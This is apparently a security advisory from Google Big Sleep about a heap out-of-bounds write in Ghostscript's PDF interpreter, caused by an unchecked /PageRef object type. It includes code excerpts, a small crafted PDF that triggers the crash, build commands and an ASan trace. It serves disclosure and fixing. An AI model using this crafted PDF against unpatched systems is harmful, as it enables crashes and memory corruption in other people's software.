We are tracking this issue with the public ID `BIGSLEEP-444446458`. Please use this identifier for reference in any future communication. ## **Vulnerability Details** A type confusion vulnerability exists in the Ghostscript PDF interpreter when processing the non-standard `/PageRef` object type. The function `pdfi_get_page_dict` (in `pdf/pdf_doc.c`) is responsible for retrieving the page dictionary. When it encounters an object with `/Type /PageRef`, it attempts to fetch the actual page dictionary referenced by the `/PageRef` key using `pdfi_dict_get_no_store_R` (line 917). The vulnerability lies in the lack of type validation after this retrieval. The code assumes the object associated with the `/PageRef` key is always a dictionary and casts the result to `pdf_dict *`. A crafted PDF file can define the `/PageRef` key to point to a different object type, such as an integer. This mis-typed pointer is then passed as the `target` argument to `pdfi_merge_dicts` (line 920). Inside `pdfi_merge_dicts`, the code's behavior depends on the `source` dictionary: If the `source` dictionary *is not empty*, the loop starting at line 1397 executes. The first call to `pdfi_dict_known_by_key` performs a type check on the target, correctly identifies the type mismatch, and returns an error, preventing the memory corruption. However, if the source *is empty*, the loop is skipped entirely. Execution proceeds to line 1407, `target->is_sorted = false`. At this point, `target` is a pointer to a smaller object (e.g., a 48-byte `pdf_num` struct). This assignment attempts to write to the `is_sorted` field at an offset (e.g., 68\) that is beyond the allocated size of the object, resulting in a heap-buffer-overflow. This out-of-bounds write corrupts the metadata of Ghostscript's custom heap allocator. While AddressSanitizer does not detect the corruption at the moment it occurs, the damaged metadata leads to a crash later during memory deallocation in `chunk_free_object`. ```c // pdf/pdf_doc 805: int pdfi_get_page_dict(pdf_context *ctx, pdf_dict *d, uint64_t page_num, uint64_t *page_offset, 806: pdf_dict **target, pdf_dict *inherited) 807: { ... 819: /* Allocated inheritable dict (it might stay empty) */ 820: code = pdfi_dict_alloc(ctx, 0, &inheritable); ... 871: /* Get the Kids array */ 872: code = pdfi_dict_get_type(ctx, d, "Kids", PDF_ARRAY, (pdf_obj **)&Kids); 873: if (code < 0) { 874: goto exit; 875: } 876: 877: /* Check each entry in the Kids array */ 878: for (i = 0;i < pdfi_array_size(Kids);i++) { 879: pdfi_countdown(child); 880: child = NULL; 881: pdfi_countdown(Type); 882: Type = NULL; 883: 884: code = pdfi_get_child(ctx, Kids, i, &child); 885: if (code < 0) { 886: goto exit; 887: } 888: 889: /* Check the type, if its a Pages entry, then recurse. If its a Page entry, is it the one we want */ 890: code = pdfi_dict_get_type(ctx, child, "Type", PDF_NAME, (pdf_obj **)&Type); 891: if (code == 0) { ... 912: } else { 913: if (pdfi_name_is(Type, "PageRef")) { 914: if ((*page_offset) == page_num) { 915: pdf_dict *page_dict = NULL; 916: 917: code = pdfi_dict_get_no_store_R(ctx, child, "PageRef", (pdf_obj **)&page_dict); 918: if (code < 0) 919: goto exit; 920: code = pdfi_merge_dicts(ctx, page_dict, inheritable); ... 957: } // pdf/pdf_dict.c 1392: int pdfi_merge_dicts(pdf_context *ctx, pdf_dict *target, pdf_dict *source) 1393: { 1394: int i, code; 1395: bool known = false; 1396: 1397: for (i=0;i< source->entries;i++) { 1398: code = pdfi_dict_known_by_key(ctx, target, (pdf_name *)source->list[i].key, &known); 1399: if (code < 0) 1400: return code; 1401: if (!known) { 1402: code = pdfi_dict_put_obj(ctx, target, source->list[i].key, source->list[i].value, true); 1403: if (code < 0) 1404: return code; 1405: } 1406: } 1407: target->is_sorted = false; 1408: return 0; 1409: } ``` ## **Affected Version(s)** The issue has been successfully reproduced: - at HEAD (commit `f8a36a1aab5e0eee33a189c862edcd945f83d8e5`) - in stable release `10.05.1` ## **Reproduction** ### **Test Case** `repro.pdf`: ``` %PDF-1.7 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [ 3 0 R ] /Count 1 >> endobj 3 0 obj << /Type /PageRef /PageRef 123 >> endobj ``` ### **Build Instructions** Build Ghostscript from source with AddressSanitizer enabled: ```shell ./autogen.sh make -j$(nproc) sanitize ``` ### **Command** ```shell /sanbin/gs -sDEVICE=ps2write -o /dev/null repro.pdf ``` ### **ASan Report** ``` ==2760618==ERROR: AddressSanitizer: SEGV on unknown address 0x00009ac26cfe (pc 0x555ed3d682a6 bp 0x7fffcceb2e40 sp 0x7fffcceb2d90 T0) ==2760618==The signal is caused by a READ memory access. #0 0x555ed3d682a6 in chunk_free_object base/gsmchunk.c:1110 #1 0x555ed50258ff in pdfi_free_dict pdf/pdf_dict.c:48 #2 0x555ed51b3549 in pdfi_free_object pdf/pdf_obj.c:285 #3 0x555ed5012d18 in pdfi_countdown_impl pdf/pdf_stack.h:100 #4 0x555ed502312d in pdfi_clear_context pdf/ghostpdf.c:2255 #5 0x555ed5023486 in pdfi_free_context pdf/ghostpdf.c:2291 #6 0x555ed50052d0 in zPDFclose psi/zpdfops.c:424 #7 0x555ed4df904e in do_call_operator psi/interp.c:91 #8 0x555ed4e06c80 in interp psi/interp.c:1772 #9 0x555ed4dfada6 in gs_call_interp psi/interp.c:535 #10 0x555ed4dfa3f2 in gs_interpret psi/interp.c:488 #11 0x555ed4dce4bb in gs_main_interpret psi/imain.c:257 #12 0x555ed4dd31a7 in gs_main_run_string_end psi/imain.c:945 #13 0x555ed4dd2c14 in gs_main_run_string_with_length psi/imain.c:889 #14 0x555ed4dd2b86 in gs_main_run_string psi/imain.c:870 #15 0x555ed4ddfd80 in run_string psi/imainarg.c:1198 #16 0x555ed4ddfaa3 in runarg psi/imainarg.c:1157 #17 0x555ed4ddf300 in argproc psi/imainarg.c:1076 #18 0x555ed4dd9618 in gs_main_init_with_args01 psi/imainarg.c:257 #19 0x555ed4dd9b76 in gs_main_init_with_args psi/imainarg.c:311 #20 0x555ed4de53d0 in psapi_init_with_args psi/psapi.c:294 #21 0x555ed51cfa75 in gsapi_init_with_args psi/iapi.c:253 #22 0x555ed38e04a9 in main psi/gs.c:104 #23 0x7f464823cca7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #24 0x7f464823cd64 in __libc_start_main_impl ../csu/libc-start.c:360 #25 0x555ed38e01b0 in _start (ghostscript/sanbin/gs+0x3ae1b0) (BuildId: f475c1c2a70fad0bfae23fcd865bc162848dd72a) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV base/gsmchunk.c:1110 in chunk_free_object ``` ## **Reporter Credit** Google Big Sleep ## **Disclosure Policy** This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-12-10. For more information, visit [https://goo.gle/bigsleep](https://goo.gle/bigsleep)
Fixed in commit cfa03a642247c88cb14be738253053f8e768f89c